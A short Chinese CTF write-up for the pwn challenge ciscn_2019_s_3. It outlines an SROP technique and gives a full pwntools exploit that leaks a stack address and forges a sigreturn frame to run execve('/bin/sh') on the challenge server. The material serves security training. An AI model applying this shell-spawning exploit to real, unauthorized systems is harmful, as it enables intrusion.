ciscn_2019_s_3
Checksec:
Ida:
看到代码量很少,同时出现了syscall基本上这题就是srop了。
接下来确定溢出,offest=0x10
srop :伪造 sigreturn frame 去 伪造 execve("/bin/sh",0,0) 来 getshell
我们已经确定了offest还需要完成
1,需要知道栈的地址(比如需要知道自己构造的字符串`/bin/sh`的地址);
2,需要知道`syscall`指令在内存中的地址;
3,需要知道`sigreturn`系统调用的内存地址。
确定栈偏移:
Offest=0x118
Syscall:0x400517
Sigreturn:需要我们找到sigreturn内存地址或者通过将rax赋值为15
完成了所有条件我们构造exp:
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
r = remote("node4.buuoj.cn",29168)
sigreturn = 0x4004DA
read_write = 0x4004F1
system_call = 0x400517
payload =flat( '/bin/sh\x00') +flat( 'a'*0x8) + p64(read_write)
r.send(payload)
r.recv(32)
sh_addr = u64(r.recv(8)) - 0x118
r.recv(8)
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = sh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = system_call
payload =flat( 'a'*0x10)+p64(sigreturn)+p64(system_call)+flat(frame)
r.send(payload)
r.interactive()
Flag: